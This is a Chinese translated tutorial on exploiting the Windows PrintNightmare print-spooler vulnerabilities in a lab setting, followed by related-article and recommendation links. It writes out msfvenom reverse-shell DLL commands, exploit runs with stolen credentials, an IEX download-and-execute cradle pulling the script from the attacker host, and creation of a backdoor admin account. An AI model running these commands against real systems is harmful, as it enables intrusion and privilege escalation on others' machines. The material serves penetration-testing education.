本文通过 Google 翻译 PrintNightmare – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。


导航


0、前言

在这篇文章中,我们将介绍被称为 PrintNightmare(打印梦魇)的权限提升技术,该技术是针对 Windows 打印后台处理 服务里面存在的一个漏洞进行的利用。下面,我们将演示怎样在远程本地去列举打印后台处理服务,并且还会展示怎样使用三种不同的工具来利用这个服务。

PrintNightmare 是影响 Windows 操作系统的严重安全漏洞,它有两种变体,一种允许远程代码执行(CVE-2021-34527),另一种导致权限提升(CVE-2021-1675)。

注:PrintNightmare 漏洞影响着 Windows 几乎所有的版本。Windows 7、Windows 8.1、Windows 10,Windows Server 2008、2012、2016、2019、2022,甚至 Windows 11 也受到一定影响。

1、CVE-2021-34527 – PrintNightmare RCE(准 远程代码执行)

首先,我们将使用 Impacket 套件中的 rpcdump.py 工具来远程枚举目标机器的打印服务,一旦确认该服务正在运行,就使用 CVE-2021-1675.py 脚本来利用该服务。

CVE-2021-1675.py 脚本会配合攻击者机器上共享的恶意 DLL 文件,让 DLL 文件直接在受害者机器上执行,一旦 DLL 被执行,它将为我们提供一个 SYSTEM shell!

CVE-2021-1675.py 的 GitHub 仓库中还包含此脚本的 CSharp 版本:SharpPrintNightmare,而这个将在后文使用它。

使用此 RCE 漏洞的前提条件是:需要一个标准用户的凭证(密码或 NTLM hash) 。尽管这也被视作是 RCE 漏洞,但它其实主要还是一个权限提升漏洞,因为需要提供标准用户凭证,并且该标准用户的权限最终会被提升到 SYSTEM 级别。

在此示例中,假设我们通过暴力攻击获取到了用户 cmarko 的凭据。

1.1、远程枚举 Print Spooler 服务

要扫描目标计算机以查找 print spooler 服务是否正在运行,请使用以下命令:

rpcdump.py @172.16.1.50 | egrep 'MS-RPRN|MS-PAR'

如果输出有结果,那么它应该是脆弱的!

现在我们知道打印服务正在目标机器上运行着,此时,还需要使用 msfvenom 制作一个恶意 DLL 以供 CVE-2021-1675.py 使用。

1.2、行刑前的准备

由于没有好的方法能够让我们远程对目标机器进行 100% 的指纹识别,以确定操作系统版本和架构。因此我们可以为这个漏洞同时制作 64 位和 32 位 DLL。这样,如果其中一个不起作用,我们就可以测试另一个。

由于目标很有可能是 64 位的架构,因此首先使用以下命令创建 64 位的 DLL:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f dll -o nightmare64.dll

接着制作一个 32 位的 DLL,为 64 位 DLL 失败时做好准备:

msfvenom -p windows/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x86 --platform Windows -f dll -o nightmare86.dll

接下来,我们把两个 DLL 都放在同一个目录中,然后为此目录设置 SMB 共享,可使用以下命令:

impacket-smbserver share $(pwd) -smb2support

这会将共享文件夹命名为 'share',这意味着我们的 DLL 可以以 \\IP\share\nightmare64.dll这种方式访问。

一切准备就绪,我们就可以开始下面介绍的利用操作了。

1.3、利用 CVE-2021-1675.py

首先,我们需要在攻击者计算机上启动 443 端口的监听器,因为这也是 DLL 反向连接所选择的端口。接着,就可以使用以下命令来利用 print spooler 服务了:

python3 CVE-2021-1675.py juggernaut.local/cmarko:'N0cturn@l21'@172.16.1.50 '\\172.16.1.30\share\nightmare64.dll'

可以看到利用程序正在开始做一些事情。

然后回到我们的监听器,可以看到一个 SYSTEM shell 已经建立成功!

2、CVE-2021-1675 – PrintNightmare LPE(本地权限提升)

上面的 RCE 示例结束后,现在来看看我们如何使用两种不同的工具在本地利用这一漏洞。

首先,我们将编译并使用 SharpPrintNightmare.exe 再次执行恶意 DLL。其次,我们将探索使用 PowerShell 脚本来利用该服务并创建一个新的管理员用户。而在 PowerShell 示例中,将使用 Invoke-Expression (IEX) cmdlet 直接将脚本下载到内存中并执行(注:又叫文件不落地执行)。

对于此示例,假设我们无法提供任何用户凭据,但是能够利用一个 Web 漏洞获得一个 cmarko 普通用户身份的 shell。这意味着我们获得了立足点,但是不知道用户的密码。

2.1、本地枚举 Print Spooler 服务

在开始枚举服务之前,我们希望跳转到 PowerShell shell 中去。【虽然并不是必须要跳转到 powershell 中才能进行枚举,但为后文要频繁使用 powershell 做准备,先提前熟悉下。】

要跳转到 PowerShell shell,可以简单地在当前 shell 中使用以下命令【注:这通常可能会导致 cmd shell 挂起或卡死。】:

powershell -ep bypass

如果上述命令不起作用,导致 cmd shell 挂起或卡死,则可以使用 Nishang 的反向 TCP 脚本以将 cmd shell 升级到 powershell shell;亦或使用 powershell -c “command” 的方式去执行 PowerShell 的 cmdlet 命令。

在 PowerShell shell 中,可以使用以下命令轻松枚举打印服务是否正在运行:

Get-Service "Spooler"

这表明 Print Spooler 服务当前正在运行,也意味着此受害者机器容易受到攻击!

此外,我们还应该检查一下系统的版本信息和架构信息,以便在制作恶意 DLL 时能明确知道该怎么做。

systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"

可以看到,这是一个 64 位的系统,这也就是为什么在第一节中我们远程利用此服务时,64 位的恶意 DLL 会起作用。

2.2、利用 SharpPrintNightmare.exe

在枚举完打印服务并发现它正在运行后,接下来,需要开始设置我们的攻击。

现在,我们已经拥有了同 CVE-2021-1675.py 一块的 SharpPrintNightmare 文件。

但由于没有该程序的编译版本,因此我们需要将整个文件夹和其中的所有文件/子文件夹传输到安装了 Visual Studio 的实验计算机上。然后从那里,使用 Visual Studio 打开 SLN 文件,将其编译为可执行文件。

我计划在将来写一篇关于以各种方式编译可执行文件的文章。但此刻,可以先参考这篇文章中使用 Visual Studio 编译 EXE 的示例。

在此示例中,我们将复用之前制作的恶意 DLL ,然后以类似之前使用 CVE-2021-1675.py 时候的那种方式进行利用。唯一的区别是,这次我们将 EXE 和 DLL 全都下载到受害者的本地磁盘上。

因为,如果我们要直接从共享执行 EXE 和 DLL 程序,是需要管理员权限的,这就是为什么需要将 EXE 和 DLL 放在本地磁盘上。【注:这里我在win7、win10 上测试单个 EXE 是不需要管理员权限便可以运行的,但 EXE + DLL 的方式可能就不行了?】

在编译完 SharpPrintNightmare 二进制文件并将其发送回攻击者计算机后,我们可以将 EXE 和 DLL 放在一起,然后为该目录开启 HTTP 服务。

然后在受害者机器下载 SharpPrintNightmare.exe 和 nightmare64.dll 文件。

剩下的就是在端口 443 上再次启动 netcat 监听器以捕获反向连接的 SYSTEM shell,然后执行以下命令:

C:\temp\SharpPrintNightmare.exe 'C:\temp\nightmare64.dll'

可以看到,它又在做一些事情了,和远程利用时候的情况非常相似。

回头检查我们的监听器,发现有一个 SYSTEM shell!

2.3、利用 CVE-2021-1675.ps1

在本例开始之前,我们需要先获取 CVE-2021-1675.ps1 的副本,然后将其放置在 EXE 和 DLL 所在的目录下。

然后,我们可以使用以下 echo 命令将脚本调用函数附加到脚本底部:

echo Invoke-Nightmare -DriverName '"Xerox" -NewUser "pwnt" -NewPassword "Password123"' >> CVE-2021-1675.ps1

最终,脚本的底部就像下面这样:

这条后加的命令会创建一个名为 pwnt 的新用户,账户的密码为 Password123,且新用户会被添加到本地管理员组。

在脚本底部添加命令的方式,会使得该脚本在被 IEX 下载到内存时,该命令会被自动执行。

在开始漏洞利用前,先使用 net user 命令,可以确认当前并不存在名为 'pwnt' 的用户。

现在,我们使用以下命令开始漏洞利用:

iex(new-object net.webclient).downloadstring('http://172.16.1.30/CVE-2021-1675.ps1')

从脚本的输出中可以看到,该漏洞利用创建了一个恶意 DLL,该 DLL 创建了我们指定的用户,然后将其添加到本地管理员组。然后,它会清理并删除自己创建的 DLL。

现在,当我们再次检查 net user 和 net localgroup administrators 时,将看到新创建的用户。

现在,我们能用这个用户做些什么呢?好吧,如果 RDP 已打开,那么可以使用 xfreerdp 通过远程桌面进入受害者机器,然后使用“以管理员身份运行”打开 cmd.exe,以启用我们的所有权限。

sudo xfreerdp /u:pwnt /p:'Password123' /v:172.16.1.50 +clipboard

Cool,我们可以获得管理员的全部权限,但是如果 RDP 未打开时会发生什么情况呢?当我们使用 crackmapexec 测试 SMB 的访问时,会看到用户是有效的。但是,并没有出现预期的 Pwn3d!提示,这意味着我们无法通过 SMB 服务执行命令。

crackmapexec smb 172.16.1.50 -u pwnt -p Password123 --local-auth

同时,我们使用 psexec.py 测试也是没有效果的。

而之所以会发生这种无法登录的情况,是因为我们的本地管理员用户被 UAC 阻碍了。而我们可以绕过这一点,在没有 GUI 的情况下以该用户的身份获取一个 admin shell。但是,这需要先使用 RunAs 技术获取一个中完整性 shell,然后使用某种 UAC 绕过技术将中完整性 shell 提升到高完整性 shell。

Windows 提权-PrintNightmare的更多相关文章

  1. 2017-2018-2 20155315《网络对抗技术》免考五:Windows提权

    原理 使用metasploit使目标机成功回连之后,要进一步攻击就需要提升操作权限.对于版本较低的Windows系统,在回连的时候使用getsystem提权是可以成功的,但是对于更高的系统操作就会被拒 ...

  2. 35.windows提权总结

    本文参考自冷逸大佬的博客,源地址在这里:https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/ windows提 ...

  3. 「白帽黑客成长记」Windows提权基本原理(下)

    上一篇文章我们介绍了信息收集方法和WMIC,今天我们将跟随作者深入学习Windows提权基本原理的内容,希望通过这两篇文章的讲解,大家能够真正掌握这个技能. 推荐阅读:「白帽黑客成长记」Windows ...

  4. 「白帽黑客成长记」Windows提权基本原理(上)

    我们通常认为配置得当的Windows是安全的,事实真的是这样吗?今天让我们跟随本文作者一起深入了解Windows操作系统的黑暗角落,看看是否能得到SYSTEM权限. 作者将使用不同版本的Windows ...

  5. [转帖]「白帽黑客成长记」Windows提权基本原理(下)

    「白帽黑客成长记」Windows提权基本原理(下) https://www.cnblogs.com/ichunqiu/p/10968674.html 提权.. 之前还在想 为什么 我的 sqlserv ...

  6. [转帖]「白帽黑客成长记」Windows提权基本原理(上)

    「白帽黑客成长记」Windows提权基本原理(上) https://www.cnblogs.com/ichunqiu/p/10949592.html 我们通常认为配置得当的Windows是安全的,事实 ...

  7. Windows提权小结

    摸鱼的时候,想想内网这部分还有什么地方适合水一下,翻翻往期,开始填坑 总结一下Windows提权的部分,以后有时间再补一下Linux提权 这仍然是一篇思路总结类的随笔,具体细节内容不展开,也展开不了. ...

  8. windows提权操作以及系统开机关机重启代码(用到了LookupPrivilegeValue和AdjustTokenPrivileges调整进程的Token权限)

    对于UAC提权操作,一般在编译期间,如果程序有需求要提权,会在编译器里设置,vs2010比较简单,在工程属性里可以直接设置,vs2005稍微有点儿麻烦,参考这篇文章: http://www.seany ...

  9. Windows提权与开启远程连接

    1.提权: 建立普通用户:net user 帐户 密码 /add 提权成管理员:net localgroup administrators 帐户 /add 更改用户密码:net user 帐户 密码 ...

  10. windows提权的几种姿势

    想象这种画面:你拿到了一台机器上Meterpreter会话了,然后你准备运行 getsystem 命令进行提权,但如果提权没有成功,你就准备认输了吗?只有懦夫才会认输.但是你不是,对吗?你是一个勇者! ...

随机推荐

  1. django视图层与cbv源码分析

    目录 一.视图层之必会三板斧 二.JsonResponse对象 两种序列化数据的方式 方式一:使用json模块 方式二:使用JsonResponse对象 使用JsonResponse对象序列化除字典外 ...

  2. 【Linux】【UOS】为挂载的磁盘创建快捷方式(软链接)

    打开项目或者保存文件的时候,如果需求路径不是系统盘路径,那么找起来还真是麻烦.以下时候通过创建快捷方式(软链接)的方式,将打开磁盘的快捷方式放在用户目录下,就方便寻找打开了. 1.查询挂载点 sudo ...

  3. Python__FLASK__MySQL基础

    1.数据库的基本操作 创建数据库:使用"CREATE DATABASE 数据库名:"语句创建新的数据库 查看数据库:使用"SHOW DATABASES:"语句查 ...

  4. Qt音视频开发35-左右通道音量计算和音量不同范围值的转换

    一.前言 视频文件一般会有两个声音通道及左右声道,值有时候一样有时候不一样,很多场景下我们需要对其分开计算不同的音量值,在QAudioFormat中可以获取具体有几个通道,如果是一个通道,则左右通道值 ...

  5. Qt编写地图综合应用1-闪烁点图

    一.前言 Qt作为一个超大型的一站式GUI超市开发集成环境,不仅集成了大量的可视化UI组件,还提供了网络库.数据库操作.文件操作等类库,封装的还是相当精彩一步到位,根据个人身边的一些程序员朋友了解,自 ...

  6. 开源即时通讯IM框架MobileIMSDK的微信小程序端开发快速入门

    一.理论知识准备 您需要对微信小程序开发有所了解: 1)真正零基础入门学习笔记系列 2)从零开始的微信小程序入门教程 3)最全教程:微信小程序开发入门详解 您需要对WebSocket技术有所了解: 1 ...

  7. 阿里技术分享:闲鱼IM基于Flutter的移动端跨端改造实践

    本文由阿里闲鱼技术团队祈晴分享,本次有修订和改动,感谢作者的技术分享. 1.内容概述 本文总结了阿里闲鱼技术团队使用Flutter在对闲鱼IM进行移动端跨端改造过程中的技术实践等,文中对比了传统Nat ...

  8. 基于Netty的IM聊天加密技术学习:一文理清常见的加密概念、术语等

    1.引言 在社区中,分享了很多篇基于Netty编写的IM聊天入门文章(比如<跟着源码学IM>系列.<基于Netty,从零开发IM>系列等),在这些文章中分享了各种IM通信算法原 ...

  9. 深入解析 Spring AI 系列:项目结构一览

    从今天起,我们将以 Spring AI 为主线,开始更新一系列的文章.这些文章将围绕 Spring AI 项目展开,结合我的理解,深入讲解其相关的知识点.技术原理.以及在实际开发过程中涉及到的部分代码 ...

  10. 记录小程序跳转h5,然后h5涉及下载文件的问题

    小程序跳转h5中,可以在小程序增加一个页面使用webView方式嵌套三方小程序,不过需要配置白名单 由于小程序的限制,不能在嵌套的h5中进行文件下载 网上也没有很好的解决方法,解决方法是再跳到小程序带 ...